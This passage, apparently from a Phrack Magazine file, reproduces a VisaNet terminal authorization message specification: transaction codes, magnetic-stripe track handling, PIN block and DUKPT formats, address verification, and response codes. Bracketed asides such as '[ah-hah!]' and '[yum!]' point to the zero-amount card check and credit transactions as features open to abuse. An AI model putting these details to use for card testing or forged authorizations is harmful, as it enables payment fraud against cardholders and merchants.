A code of 108 indicates the local Pacific Standard time which is 8 hours behind GMT.

4.12 AUTHORIZATION TRANSACTION CODE

This field contains a two‑character code defined by VisaNet and generated by the terminal identifying the type of transaction for which the authorization is requested. Table 4.12 provides a summary of the transaction codes.

TABLE 4.12

Authorization Transaction Codes

TRAN

CODE TRANSACTION DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

54 Purchase

55 Cash Advance

56 Mail/Telephone Order

57 Quasi Cash

58 Card Authentication ‑ Transaction Amt & Secondary Amt must equal $0.00, AVS may be requested [ah‑hah!]

64 Repeat: Purchase

65 Repeat: Cash Advance

66 Repeat: Mail/Telephone Order (MO/TO)

67 Repeat: Quasi Cash

68 Repeat: Card Authentication ‑ Transaction Amt & Secondary Amt must equal $0.00, AVS may be requested

70 Check guarantee, must include RIID (field 4.26)

81 Proprietary Card

84 Private Label Purchase

85 Private Label, Cash Advance

86 Private Label Mail/Telephone Order (MO/TO)

87 Private Label Quasi Cash

88 Private Label Card Authentication ‑ Transaction Amt & Secondary Amt must equal $0.00, AVS may be requested

93 Debit Purchase

94 Debit Return

95 Interlink Debit Cancel (see NOTE below)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE (for TRANSACTION CODE = 95)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ For Interlink Debit CANCEL request message, all of the fields in Groups I and II will come from the original transaction request or the original transaction response, with the exception of the following: ‑ The AUTHORIZATION TRANSACTION CODE will need to be changed to the Debit CANCEL code.

‑ The TRANSACTION SEQUENCE NUMBER should be incremented in the normal fashion.

‑ The CUSTOMER DATA FIELD and the CARDHOLDER IDENTIFICATION DATE (PIN) will need to be re‑entered.

4.13 TERMINAL IDENTIFICATION NUMBER

This field contains an eight‑digit code that must be greater than zero, defined by the terminal down line load support organization. Support may be provided by the Visa's Merchant Assistance Center (MAC), the signing member, or a third party organization. The terminal ID is used to uniquely identify the terminal in the terminal support system and identification for the VisaNet Central Data Capture (CDC). The terminal ID may not be unique within the VisaNet system. Each terminal support provider and member that provides its own terminal support can assign potentially identical terminal IDs within its system. The terminal ID can be used by the terminal down line load system to access the terminal application and parameter data from a system data base when down line loading a terminal. [huh?]

NOTE: It is recommended that [the] Terminal ID Number should be unique within the same Acquirer's BIN.

4.14 PAYMENT SERVICE INDICATOR

This is a one‑character field used to indicate a request for REPS qualification. Table 4.14 provides a summary of the codes.

TABLE 4.14

Payment Service Indicator Codes

RECORD

FORMAT VALUE DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

J Y Yes J N No G Y Yes G N No

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑repetitive? you bet]

4.15 TRANSACTION SEQUENCE NUMBER

This field contains a four‑digit code which is generated by the terminal as the sequence number for the transaction. The sequence number is used by the terminal to match request and response messages. This field is returned by VisaNet without sequence verification. The sequence number is incremented with wrap from 9999 to 0001.

4.16 CARDHOLDER IDENTIFICATION CODE

This one‑character field contains a code that indicates the method used to identify the cardholder. Table 4.16 provides a summary of the codes.

TABLE 4.16

Cardholder Identification Codes

ID CODE IDENTIFICATION METHOD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Personal Identification Number‑23 byte static key (non‑USA) fnord B PIN at Automated Dispensing Machine ‑ 32 byte static key C Self Svc Limited Amount Terminal (No ID method available) D Self‑Service Terminal (No ID method available) E Automated Gas Pump (No ID method available) K Personal Identification Number ‑ 32 byte DUK/PT N Customer Address via Address Verification Service (AVS) S Personal Identification Number ‑ 32 byte static key Z Cardholder Signature ‑ Terminal has a PIN pad

@ Cardholder Signature ‑ No PIN pad available F‑J,L,M,O‑R Reserved for future use

T‑Y

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4.17 ACCOUNT DATA SOURCE

This field contains a one‑character code defined by Visa and generated by the terminal to indicate the source of the customer data entered in field 4.18. Table 4.17 provides a summary of codes

TABLE 4.17

Account Data Source Codes

ACCOUNT DATA

SOURCE CODE ACCOUNT DATA SOURCE CODE DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A RESERVED ‑ Bar‑code read

B RESERVED ‑ OCR read

D Mag‑stripe read, Track 2

H Mag‑stripe read, Track 1

Q RESERVED ‑ Manually keyed, bar‑code capable terminal R RESERVED ‑ Manually keyed, OCR capable terminal T Manually keyed, Track 2 capable

X Manually keyed, Track 1 capable

@ Manually keyed, terminal has no card reading capability C,E‑G,I‑P,S, RESERVED for future use

U‑W,Y‑Z,0‑9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE:

‑ If a dual track reading terminal is being used, be sure to enter the correct value of "D" or "H" for the magnetic data that is transmitted ‑ When data is manually keyed at a dual track reading terminal, enter either a "T" or an "X"

4.18 CUSTOMER DATA FIELD

This is a variable length field containing customer account or check acceptance ID data in one of three formats. The cardholder account information can be read d from the card or it may be entered manually. Additionally the terminal can be used for check authorization processing with the check acceptance identification number entered by the operator for transmission in this field.

NOTE: For all POS terminals operated under VISA U.S.A. Operating Regulations, the following requirement must be available as an operating option if the merchant location is found to be generating a disproportionately high percentage of Suspect Transactions [lets get downright hostile about it] as defined in chapter 9.10 of the VISA U.S.A. Operating Regulations. Specifically, chapter 9.10.B.2 requires that:

‑ The terminal must read the track data using a magnetic stripe reading terminal

‑ The terminal must prompt the wage slave to manually enter the last four digits of the account number

‑ The terminal must compare the keyed data with the last four digits of the account number in the magnetic stripe

‑ If the compare is successful, the card is acceptable to continue in the authorization process and the terminal must transmit the full, unaltered contents of the magnetic stripe in the authorization message. ‑ If the compare fails, the card should not be honored at the Point of Sale

4.18.1 TRACK 1 READ DATA

This is a variable length field with a maximum data length of 76 characters.

The track 1 data read from the cardholder's card is checked for parity and LRC errors and then converted from the six‑bit characters encoded on the card to seven‑bit characters as defined in ANSI X3.4. The character set definitions are provided in section 7 for reference. As part of the conversion the terminal will strip off the starting sentinel, ending sentinel, and LRC characters. The separators are to be converted to a "^" (HEX 5E) character. The entire track must be provided in the request message. The character set and data content are different between track 1 and track 2. The data read by a track 2 device can not be correctly reformatted and presented as though it were read by a track 1 device. [aw shucks] The converted data can not be modified by adding or deleting non‑framing characters and must be a one‑for‑one representation of the character read from the track.

4.18.2 TRACK 2 READ DATA

This is a variable length field with a maximum data length of 37 characters.

The track 2 data read from the cardholder's card is checked for parity and LRC errors and then converted from the six‑bit characters encoded on the card to seven‑bit characters as defined in ANSI X3.4. The character set definitions are provided in section 7 for reference. As part of the conversion the terminal will strip off the starting sentinel, ending sentinel, and LRC characters. The separators are to be converted to a "^" (HEX 5E) character. The entire track must be provided in the request message. The character set and data content are different between track 2 and track 1. The data read by a track 1 device can not be correctly reformatted and presented as though it were read by a track 2 device. The converted data can not be modified by adding or deleting non‑framing characters and must be a one‑for‑one representation of the character read from the track. [repetitive? you bet]

4.18.3 MANUALLY ENTERED ACCOUNT DATA (CREDIT CARD)

The customer credit card data may be key entered when the card can not be read, when a card is not present, or when a card reader is not available.

4.18.3.1 MANUALLY ENTERED ACCOUNT NUMBER

This is a variable length field consisting of 5 to 28 alphanumeric characters.

The embossed cardholder data, that is key entered, is validated by the terminal using rules for each supported card type. For example, both Visa and Master Card include a mod 10 check digit as the last digit of the Primary Account Number. The Primary Account Number (PAN) is encoded as seven‑bit characters as defined in ANSI X3.4. The PAN is then provided in the manually entered record format provided in Table 3.01b. The PAN must be provided without embedded spaces.

4.18.3.2 MANUALLY ENTERED EXPIRATION DATE

This four‑digit field contains the card expiration date in the form MMYY (monthmonth‑year‑year)

4.18.4 CHECK ACCEPTANCE IDENTIFICATION NUMBER

The customer data may be card read or manually key entered for check acceptance transactions.

4.18.4.1 CHECK ACCEPTANCE ID

This field is a variable length field consisting of 1 to 28 alphanumeric characters. The check acceptance vendor will provide the data format and validation rules to be used by the terminal. Typically the ID consists of a two‑digit state code and an ID which may be the customer's drivers license number.

4.18.4.2 MANUALLY ENTERED CHECK ACCEPTANCE DATA

This six‑character field contains the customer birth date or a control code in the form specified by the check acceptance processor.

4.19 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.20 CARDHOLDER IDENTIFICATION DATA

This field will be 0, 23, 29 or 32 characters in length. The cardholder ID codes shown in Table 4.16 indicates the type of data in this field. Table 4.20 provides a brief summary of the current formats.

TABLE 4.20

Cardholder Identification Data Definitions

CARDHOLDER VALUE(S) FROM

ID LENGTH DESCRIPTION TABLE 4.16

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 Signature ID used, No PIN pad is present @,C,D or E 0 Signature ID used on a terminal with a PIN pad Z 23 A PIN was entered on a STATIC key PIN pad A 32 A PIN was entered on a STATIC key PIN pad B 32 A PIN was entered on a DUK/PT key PIN pad K 32 A PIN was entered on a STATIC key PIN pad S

0 to 29 AVS was requested N

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4.20.1 STATIC KEY WITH TWENTY THREE BYTE CARDHOLDER ID

NOTE: The 23 byte static key technology is NOT approved for use in terminals deployed in the Visa U.S.A. region. [thanks nsa!]

When a PIN is entered on a PIN pad supporting 23 byte static key technology, the terminal will generate the following data:

1JFxxyyaaaaaaaaaaaaaaaa

Where:

1J Header ‑ PIN was entered

f Function Key Indicator ‑ A single byte indicating which, if any, function key was pressed on the PIN pad. This field is currently not edited. Any printable character is allowed.

xx PIN Block Format ‑ These two numeric bytes indicate the PIN encryption method used to create the encrypted PIN block. Visa currently supports four methods; 01, 02, 03, & 04. For more information, please refer to the VisaNet Standards Manual, Card Technology Standards, PIN and Security Standards, Section 2, Chapter 3, PIN Block Formats

aaaaaaaaaaaaaaaa Expanded Encrypted PIN Block Data ‑ The encrypted PIN block format consists of 64 bits of data. Since the VisaNet Second Generation protocol allows only printable characters in data fields, these 64 bits must be expanded to ensure that no values less than hex "20" are transmitted. To expand the 64 bit encrypted PIN block, remove four bits at a time and convert them to ANSI X3.4 characters using Table 4.20. After this conversion, the 64 bit encrypted PIN block will consist of 16 characters that will be placed in the Expanded Encrypted PIN Block Data field.

4.20.2 STATIC KEY WITH THIRTY TWO BYTE CARDHOLDER ID

When a PIN is entered on a PIN pad supporting 32 byte static key technology, the terminal will generate the following data:

aaaaaaaaaaaaaaaa2001ppzz00000000

Where:

aaaaaaaaaaaaaaaa ‑ Expanded Encrypted PIN Block Data ‑ The encrypted PIN block format consists of 64 bits of data. Since the VisaNet Second Generation protocol allows only printable characters in data fields, these 64 bits must be expanded to ensure that no values less than hex "20" are transmitted. To expand the 64 bit encrypted PIN block, remove four bits at a time and convert them to ANSI X3.4 characters using table 4.20. After this conversion, the 64 bit encrypted PIN block will consist of 16 characters that will be placed in the Expanded Encrypted PIN Block Data field.

20 ‑ Security Format Code ‑ This code defines that the Zone Encryption security technique was used.

01 ‑ PIN Encryption Algorithm Identifier ‑ This code defines that the ANSI DES encryption technique was used.

pp ‑ PIN Block Format Code ‑ This code describes the PIN block format was used by the acquirer. Values are: 01 ‑ Format is based on the PIN, the PIN length, selected rightmost digits of the account number and the pad characters "0" and "F"; combined through an exclusive "OR" operation.

02 ‑ Format is based on the PIN, the PIN length and a user specified numeric pad character. 03 ‑ Format is based on the PIN and the "F" pad character. 04 ‑ Format is the same as "01" except that the leftmost account number digits are selected.

zz ‑ Zone Key Index ‑ This index points to the zone key used by the acquirer to encrypt the PIN block. Values are: 01 ‑ First key

02 ‑ Second key

00000000 ‑ Visa Reserved ‑ Must be all zeros

For additional information, refer to the VisaNet manual V.I.P. System, Message Formats, Section B: Field Descriptions. Specifically, fields 52 and 53; Personal Identification Number (PIN) Data and Security Related Control Information respectively.

4.20.3 DUK/PT KEY WITH THIRTY TWO BYTE CARDHOLDER ID

When a PIN is entered on a PIN pad supporting DUK/PT technology, the terminal will generate the following 32 bytes:

aaaaaaaaaaaaaaaakkkkkkssssssssss

Where:

aaaaaaaaaaaaaaaa ‑ Expanded Encrypted PIN Block Data ‑ The encrypted PIN block format consists of 64 bits of data. Since the VisaNet Second Generation protocol allows only printable characters in data fields, these 64 bits must be expanded to ensure that no values less than hex "20" are transmitted. To expand the 64 bit encrypted PIN block, remove four bits at a time and convert them to ANSI X3.4 characters using table 4.20. After this conversion, the 64 bit encrypted PIN block will consist of 16 characters that will be placed in the Expanded Encrypted PIN Block Data field. [repetitive? you bet]

kkkkkk ‑ Key Set Identifier (KSID) ‑ Is represented by a unique, Visa Visa assigned, six digit bank identification number.

ssssssssss ‑ Expanded TRSM ID (PIN Pad Serial Number) & Expanded Transaction Counter ‑ Is represented by the concatenation of these two hexadecimal fields. The PIN pad serial number is stored as five hex digits minus one bit for a total of 19 bits of data. The transaction counter is stored as five hex digits plus one bit for a total of 21 bits of data. These two fields concatenated together will contain 40 bits. Since the VisaNet Second Generation protocol allows only printable characters in data fields, these 40 bits must be expanded to ensure that no values less than hex "20" are transmitted. To expand this 40 bit field, remove four bits at a time and convert them to ASCII characters using table 4.20. After this conversion, this 40 bit field will consist of 10 characters that will be placed in the Expanded TRSM ID & Expanded Transaction Counter Field.

TABLE 4.20

PIN Block conversion Table

HEXADECIMAL | ANSI X3.4 DATA | CHARACTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑

0000 | 0 0001 | 1 0010 | 2 0011 | 3 0100 | 4 0101 | 5 0110 | 6 0111 | 7 1000 | 8 1001 | 9 1010 | A 1011 | B 1100 | C 1101 | D 1110 | E 1111 | F

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4.20.4 ADDRESS VERIFICATION SERVICE DESCRIPTION [ah enlightenment]

When Address Verification Service is requested, this field will contain the mailing address of the cardholder's monthly statement. The format of this field is:

<street address><apt no.><zip code>

or

<post office box number><zipcode>

Numbers are not spelled out. ("First Street" becomes "1ST Street", "Second" becomes "2ND", etc) "Spaces" are only required between a numeral and the ZIP code. For instance:

1391 ELM STREET 40404

is equivalent to: 1931ELMSTREET40404

P.O. Box 24356 55555

is not equivalent to P.O.BOX2435655555

If a field is not available or not applicable, it may be skipped. If nine digits are available, the last five digits should always be used to pour more sand into the wheels of progress.

4.21 FIELD SEPARATOR

VisaNet Operations Part II

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 16 of 28

****************************************

VisaNet Operations (Continued)

4.22 TRANSACTION AMOUNT

This is a variable field from three to twelve digits in length. The transaction amount includes the amount in 4.28, Secondary Amount. Therefore, field 4.22 must be greater than or equal to field 4.28.

The transaction amount is presented by the terminal with an implied decimal point. For example $.01 would be represented in the record as "001". When the terminal is used with an authorization system which supports the US dollar as the primary currency, the amount field must be limited to seven digits (9999999). [...] The terminal may be used with authorization system which support other currencies that require the full twelve‑digit field.

4.23 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.24 DEVICE CODE/INDUSTRY CODE

This field is used to identify the device type which generated the transaction and the industry type of the merchant. Table 4.24 provides a brief summary of the current codes.

TABLE 4.24

Device Code/Industry Code

C C

O O

D D

E DEVICE TYPE E INDUSTRY TYPE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 Unknown or Unsure 0 Unknown or Unsure

1 RESERVED 1 RESERVED

2 RESERVED 2 RESERVED

3 RESERVED 3 RESERVED

4 RESERVED 4 RESERVED

5 RESERVED 5 RESERVED

6 RESERVED 6 RESERVED

7 RESERVED 7 RESERVED

8 RESERVED 8 RESERVED

9 RESERVED 9 RESERVED

A RESERVED A RESERVED

B RESERVED B Bank/Financial Institution

C P.C. C RESERVED

D Dial Terminal D RESERVED

E Electronic Cash Register (ECR) E RESERVED

F RESERVED F Food/Restaurant

G RESERVED G Grocery Store/Supermarket H RESERVED H Hotel

I In‑Store Processor I RESERVED

J RESERVED J RESERVED

K RESERVED K RESERVED

L RESERVED L RESERVED

M Main Frame M Mail Order

N RESERVED N RESERVED

O RESERVED O RESERVED

P POS‑port P RESERVED

Q RESERVED for POS‑port Q RESERVED

R RESERVED R Retail

S RESERVED S RESERVED

T RESERVED T RESERVED

U RESERVED U RESERVED

V RESERVED V RESERVED

W RESERVED W RESERVED

X RESERVED X RESERVED

Y RESERVED Y RESERVED

Z RESERVED Z RESERVED

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4.25 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.26 ISSUING INSTITUTION ID/RECEIVING INSTITUTION ID

This six‑digit field is provided by the merchant signing member and is present when the terminal is used to process transactions which can not be routed using the cardholder Primary Account Number. When a value is present in this field, it is used as an RIID for all valid transaction codes, field 4.12, except 81 through 88. This field is used as an IIID for transaction codes 81 through 88. Table 4.26 provides a summary of the RIID codes for check acceptance.

TABLE 4.26

Check Acceptance RIID Values

Vendor RIID

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

JBS, Inc 810000 Telecheck 861400 TeleCredit, West 894300 [note; telecredit has been TeleCredit, East 894400 mutated/eaten by equifax]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4.27 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.28 SECONDARY AMOUNT (CASHBACK)

NOTE: "Cashback" is NOT allowed on Visa cards when the Customer Data Field, see section 4.18, has been manually entered.

This is a variable length field from three to twelve digits in length. The Secondary Amount is included in field 4.22, Transaction Amount.

The secondary amount is presented by the terminal with an implied decimal point. For example $.01 would be represented in the record as "001". This field will contain 000 when no secondary amount has been requested. Therefore, when the terminal is used with an authorization system which supports the US dollar as the primary currency, the secondary amount field must be limited to seven digits (9999999). The terminal may be used with authorization systems which support other currencies that require the full twelve‑digit field.

4.29 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.30 MERCHANT NAME

This 25‑character field contains the merchant name provided by the signing member. the name must correspond to the name printed on the customer receipt. The name is left justified with space fill. The first character position can not be a space. This field must contain the same used in the data capture batch.

4.32 MERCHANT STATE

This two‑character field contains the merchant location state abbreviation provided by the singing member. The abbreviation must correspond to the state name printed on the customer receipt and be one of the Visa accepted abbreviations. This field must contain the same data used in the data capture batch.

4.33 SHARING GROUP

This one to fourteen‑character field contains the group of debit card/network types that a terminal may have access to and is provided by the singing member. The values must correspond to one of the Visa assigned debit card /network types. This data is part of the VisaNet debit data.

4.34 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.35 MERCHANT ABA NUMBER

This fixed length field is twelve digits in length. If this field is not used, its length must be zero. If this field is not used, the following field must also be empty.

This number identifies the merchant to a debit switch provided by the signing member. The number is provided by the signing member.

4.36 MERCHANT SETTLEMENT AGENT NUMBER

This fixed length field is four digits in length. If this field is not used, its length must be zero. If this field is not used, the previous field must also be empty.

This number identifies the merchant settling agent. The number is provided by the signing member.

4.37 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.38 AGENT NUMBER

This six‑digit field contains an agent number assigned by the signing member. The number identifies an institution which signs merchants as an agent of a member. The member uses this number to identify the agent within the member systems. The acquirer BIN, Agent, Chain, Merchant, Store, and Terminal numbers are required to uniquely identify a terminal within the VisaNet systems.

4.39 CHAIN NUMBER

This six‑digit field contains a merchant chain identification number assigned by the singing member. The member uses this number to identify the merchant chain within the member systems. The acquirer BIN, Agent, Chain, Merchant, Store, and Terminal numbers are required to uniquely identify a terminal within the VisaNet systems.

4.40 BATCH NUMBER

This three‑digit field contains a batch sequence number generated by the terminal. The number will wrap from 999 to 001. This number is that data capture batch number.

4.41 REIMBURSEMENT ATTRIBUTE

This is a single character fixed length field.

This field contains the reimbursement attribute assigned by the singing member. This field must be a "space".

4.42 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

4.43 APPROVAL CODE

This contains a six‑character fixed length field.

This field is only present in cancel transactions and contains the original approval code from the original transaction.

The approval code was returned in the authorization response of the transaction to be canceled.

4.44 SETTLEMENT DATE

This contains a four‑digit fixed length field.

This field is only present in cancel transactions and contains the settlement date from the original transaction and is in the format MMDD.

The settlement date was returned in the authorization response of the transaction to be canceled.

4.45 LOCAL TRANSACTION DATE

This contains a four‑digit fixed length field.

This field is only present in cancel transactions and contains the transaction date from the original transaction and is in the format MMDD.

The transaction date was returned in the authorization response of the transaction to be canceled as MMDDYY.

4.46 LOCAL TRANSACTION TIME

This contains a six‑digit fixed length field.

This field is only present in cancel transactions and contains the transaction time from the original transaction and is in the format HHMMSS.

The transaction time was returned in the authorization response of the transaction to be canceled.

4.47 SYSTEM TRACE AUDIT NUMBER

This contains a six‑character fixed length field.

This field is only present in cancel transactions and contains the trace audit number from the original transaction.

The trace audit number was returned in the authorization response of the transaction to be canceled.

4.48 ORIGINAL AUTHORIZATION TRANSACTION CODE

The field is a two‑character fixed length field and must contain the original AUTHORIZATION TRANSACTION CODE (filed 4.12) of the transaction to be canceled. Currently, the only transaction that can be canceled in an Interlink Debit Purchase.

4.49 NETWORK IDENTIFICATION CODE

This contains a single character fixed length field.

This field is only present in cancel transactions and contains the network ID from the original transaction.

The network ID was returned in the authorization response of the transaction to be canceled.

4.50 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

5.0 RESPONSE RECORD DATA ELEMENT DEFINITIONS

The following subsections will define the authorization response record data elements.

5.01 PAYMENT SERVICE INDICATOR

This field contains the one‑character payment service indicator. It must be placed in the batch detail record for terminals that capture.

Table 5.01 provides a summary of current Values.

TABLE 5.01

Payment Service Indicator Values

VALUE DESCRIPTION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A REPS qualified

Y Requested a "Y" in field 4.14 and there was a problem REPS denied (VAS edit error or BASE I reject) N Requested an "N" in field 4.14 or requested a "Y" in field 4.14 and request was downgraded (by VAS) space If "Y" sent and transaction not qualified (VAS downgrade)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5.02 STORE NUMBER

This four‑digit number is returned by VisaNet from the authorization request for formats "J" and "G", and can be used to route the response within a store controller and/or a store concentrator.

5.03 TERMINAL NUMBER

This four‑digit number is returned by VisaNet from the authorization request for formats "J" and "G", and can be used to route the response within a store controller and/or a store concentrator.

5.04 AUTHORIZATION SOURCE CODE

This field contains a one‑character code that indicates the source of the authorization. The received code must be placed in the data capture detail transaction record when data capture is enabled.

Table 5.04 provides a summary of current codes.

TABLE 5.04

Authorization Source Codes

Code Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 STIP: time‑out response

2 LCS: amount below issuer limit

3 STIP: issuer in Suppress‑Inquiry mode

4 STIP: issuer unavailable

5 Issuer approval

6 Off‑line approval, POS device generated

7 Acquirer approval: BASE I unavailable

8 Acquirer approval of a referral

9 Use for non‑authorized transactions; such as credit card credits [yum!] D Referral: authorization code manually keyed

E Off‑line approval: authorization code manually keyed

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5.05 TRANSACTION SEQUENCE NUMBER

This field contains the four‑digit code which was generated by the terminal as the sequence number for the transaction and passed to the authorization center in the authorization request record. The sequence number can be used by the terminal to match request and response messages. The transaction sequence number is returned by VisaNet without sequence verification.

5.06 RESPONSE CODE

This field contains a two‑character response code indicating the status of the authorization.

Table 5.06 provides the response codes for formats "J" and "G". A response code of "00" represents an approval. A response code of "85" represents a successful card verification returned by TRANSACTION CODES 58, 68, and 88. All other response codes represent a non‑approved request.

The value returned is stored in the batch transaction detail record for terminals that capture.

TABLE 5.06

Authorization Response Codes For Record Formats "J" & "G"

Authorization Response AVS Result

Response Message Code Response Definition Code

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EXACT MATCH 00 Exact Match, 9 digit zip X EXACT MATCH 00 Exact Match, 5 digit zip GRIND Y ADDRESS MATCH 00 Address match only A ZIP MATCH 00 9‑digit zip match only W ZIP MATCH 00 5‑digit zip match only GRIND Z NO MATCH 00 No address or zip match N VER UNAVAILABLE 00 Address unavailable U RETRY 00 Issuer system unavailable R ERROR INELIGIBLE 00 Not a mail/phone order E SERV UNAVAILABLE 00 Service not supported S APPROVAL 00 Approved and completed see above CARD OK 85 No reason to decline see above CALL 01 Refer to issuer 0 CALL 02 Refer to issue ‑ Special condition 0 NO REPLY 28 File is temporarily unavailable 0 NO REPLY 91 Issuer or switch is unavailable 0 HOLD‑CALL 04 Pick up card 0 HOLD‑CALL 07 Pick up card ‑ Special condition 0 HOLD‑CALL 41 Pick up card ‑ Lost 0 HOLD‑CALL 43 Pick up card ‑ Stolen 0 ACCT LENGTH ERR EA Verification Error 0 ALREADY REVERSED 79 Already Reversed at Switch [ya got me] 0 AMOUNT ERROR 13 Invalid amount 0 CAN'T VERIFY PIN 83 Can not verify PIN 0 CARD NO ERROR 14 Invalid card number 0 CASHBACK NOT APP 82 Cashback amount not approved 0 CHECK DIGIT ERR EB Verification Error 0 CID FORMAT ERROR EC Verification Error 0 DATE ERROR 80 Invalid Date 0 DECLINE 05 Do not honor 0 DECLINE 51 Not Sufficient Funds 0 DECLINE 61 Exceeds Withdrawal Limit 0 DECLINE 65 Activity Limit Exceeded 0 ENCRYPTION ERROR 81 Cryptographic Error 0 ERROR xx 06 General Error 0 ERROR xxxx 06 General Error 0 EXPIRED CARD 54 Expired Card 0 INVALID ROUTING 98 Destination Not Found 0 INVALID TRANS 12 Invalid Transaction 0 NO CHECK ACCOUNT 52 No Check Account 0 NO SAVE ACCOUNT 54 No Save Account 0 NO SUCH ISSUER 15 No Such Issuer 0 RE ENTER 19 Re‑enter Transaction 0 SEC VIOLATION 63 Security Violation 0 SERV NOT ALLOWED 57 Trans. not permitted‑Card 0 SERV NOT ALLOWED 58 Trans. not permitted‑Terminal 0 SERVICE CODE ERR 62 Restricted Card 0 SYSTEM ERROR 96 System Malfunction [whoop whoop!] 0 TERM ID ERROR 03 Invalid Merchant ID 0 WRONG PIN 55 Incorrect PIN 0 xxxxxxxxxxxxxxxxxx xx Undefined Response 0

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5.07 APPROVAL CODE

This field contains a six‑character code when a transaction has been approved. If the transaction is not approved the contents of the field should be ignored. The approval code is input to the data capture detail transaction record.

5.08 LOCAL TRANSACTION DATE

This field contains a six‑digit local date calculated (MMDDYY) by the authorization center using the time zone differential code provided in the authorization request message. This date is used by the terminal as the date to be printed on the transaction receipts and audit reports, and as the date input to the data capture transaction detail record. This field is only valid for approved transactions.

5.09 AUTHORIZATION RESPONSE MESSAGE

This field is a sixteen‑character field containing a response display message. This message is used by the terminal to display the authorization results. Table 5.06 provides the message summary. The messages are provided with "sp" space fill. This field is mapped to the RESPONSE CODE, field 5.06, for all non‑AVS transactions and for all DECLINED AVS transactions. For APPROVED AVS transactions (response code = "00" or "85"), it is mapped to the AVS RESULT CODE, field 5.10.

5.10 AVS RESULT CODE

This one‑character field contains the address verification result code. An address verification result code is provided for transactions and provides an additional indication that the card is being used by the person to which the card was issued. The service is only available for mail/phone order transactions.

Table 5.06 provides a summary of the AVS Result Codes.

An ANSI X3.4 "0" is provided for all non‑AVS transactions and all declined transactions.

5.11 TRANSACTION IDENTIFIER

This numeric field will contain a transaction identifier. The identifier will be fifteen‑digits in length if the payment service indicator value is an "A" or it will be zero in length if the payment service indicator value is not an "A". This value is stored in the batch detail record for terminals that capture and is mandatory for REPS qualification.

5.12 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

5.13 VALIDATION CODE

This alphanumeric field will contain a validation code. The code will contain a four‑character value if the payment service indicator value is an "A" or it will be zero in length if the payment service indicator value is not an "A". This value is stored in the batch detail record for terminals that capture and is mandatory for REPS qualification.

5.14 FIELD SEPARATOR

The authorization record format specifies the use of the "FS" character.

5.15 NETWORK IDENTIFICATION CODE

This one‑character fixed length field contains the identification code of the network on which the transaction was authorized. The network ID must be printed on the receipt.

5.16 SETTLEMENT DATE

This four‑digit fixed length field contains the transaction settlement date returned by the authorizing system (MMDD). The settlement date must be printed on the receipt.

5.17 SYSTEM TRACE AUDIT NUMBER

This six‑character fixed length field contains a trace audit number which is assigned by the authorizing system. The trace audit number must be printed on the receipt.

5.18 RETRIEVAL REFERENCE NUMBER

This twelve‑character fixed length field contains the transaction retrieval reference number returned by the authorizing system. The reference number should be printed on the receipt.

5.19 LOCAL TRANSACTION TIME

This six‑digit fixed length field contains the transaction time returned by the authorizing system (HHMMSS). The time must be printed on the receipt.

6.0 CONFIRMATION RECORD DATA ELEMENT DEFINITIONS

The following subsections define the debit confirmation response record data elements.

